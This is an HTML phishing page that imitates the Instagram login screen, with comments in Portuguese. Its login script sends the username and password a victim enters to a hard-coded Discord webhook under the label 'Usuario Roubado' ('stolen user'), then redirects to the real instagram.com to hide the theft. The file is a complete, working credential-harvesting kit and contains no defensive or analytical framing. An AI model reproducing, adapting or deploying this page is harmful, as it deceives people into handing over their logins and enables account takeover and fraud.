<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Instagram</title>
    <link rel="icon" href="https://cdn-icons-png.freepik.com/256/15713/15713420.png?semt=ais_hybrid" type="image/png"> <!-- Ícone atualizado -->
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #fafafa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-container {
            align-items: center;
            background-color: rgb(255, 255, 255);
            border: 1px solid rgb(219, 219, 219);
            border-radius: 1px;
            box-sizing: border-box;
            display: flex;
            flex-direction: column;
            width: 400px;
            padding: 20px 0;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        }
        .logo {
            background-image: url("https://static.cdninstagram.com/rsrc.php/v4/yv/r/KoLLpWDb4f6.png");
            background-position: 0px -52px;
            background-size: auto;
            width: 175px;
            height: 51px;
            background-repeat: no-repeat;
            display: inline-block;
            margin-bottom: 20px;
        }
        .login-container input {
            width: 75%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid rgb(219, 219, 219);
            border-radius: 5px;
        }
        .login-container button {
            width: 82%;
            padding: 10px;
            background-color: #42b3ff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            font-weight: bold;
            margin-top: 20px; /* Aumentado para descer o botão */
        }
        .login-container button:hover {
            background-color: #007bbf;
        }
        .divider {
            margin: 30px 0; /* Aumentado o espaço acima e abaixo do divisor */
            text-align: center;
            position: relative;
        }
        .divider::before,
        .divider::after {
            content: '';
            display: block;
            height: 1px;
            background: rgb(219, 219, 219);
            position: absolute;
            top: 50%;
            width: 40%;
        }
        .divider::before {
            left: 0;
        }
        .divider::after {
            right: 0;
        }
        .divider span {
            background: white;
            padding: 0 10px;
            color: #888;
            font-weight: bold; /* Mantido o peso da fonte */
        }
        .facebook-link {
            display: flex;
            align-items: center;
            text-decoration: none;
            color: #02a2ff;
            font-size: 14px;
            margin-top: 10px;
            font-weight: bolder;
        }
        .facebook-link img {
            width: 20px;
            height: 20px;
            margin-right: 8px;
        }
        .forgot-password {
            text-decoration: none;
            color: #405c6e;
            font-size: 14px;
            margin-top: 20px;
            display: block;
            text-align: center;
        }
    </style>
</head>
<body>

<div class="login-container">
    <div class="logo"></div>
    <input type="text" id="username" placeholder="Phone number, username, or email" required>
    <input type="password" id="password" placeholder="Password" required>
    <button onclick="login()">Log in</button>
    <div class="divider">
        <span>OR</span>
    </div>
    <a href="https://www.facebook.com" class="facebook-link">
        <img src="https://cdn-icons-png.flaticon.com/256/5968/5968764.png" alt="Facebook">Log in with Facebook
    </a>
    <a href="#" class="forgot-password">Forgot password?</a>
</div>

<script>
    function login() {
        const username = document.getElementById('username').value; 
        const password = document.getElementById('password').value;

        // Verificar se os campos estão vazios
        if (!username || !password) {
            alert('Por favor, preencha todos os campos.');
            return; // Impede o envio se os campos estiverem vazios
        }

        // Enviar as credenciais para o webhook do Discord
        const webhookUrl = 'https://discordapp.com/api/webhooks/1313509503458611310/ksb84I9vIuvkJZC0gLqW6qoA55a_MNH2xYQwCNxLBBsznFPOPp_qsTo0pnRF35OnqEMX'; 
        const data = {
            content: `# Usuario Roubado:\nUsuário: ${username}\nSenha: ||${password}||` 
        };

        fetch(webhookUrl, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(data)
        })
        .then(response => {
            if (response.ok) {
                window.location.href = 'https://www.instagram.com';
            } else {
                alert('Erro ao enviar as credenciais: ' + response.statusText);
            }
        })
        .catch(error => {
            console.error('Erro:', error);
        });
    }
</script>
</body>
</html>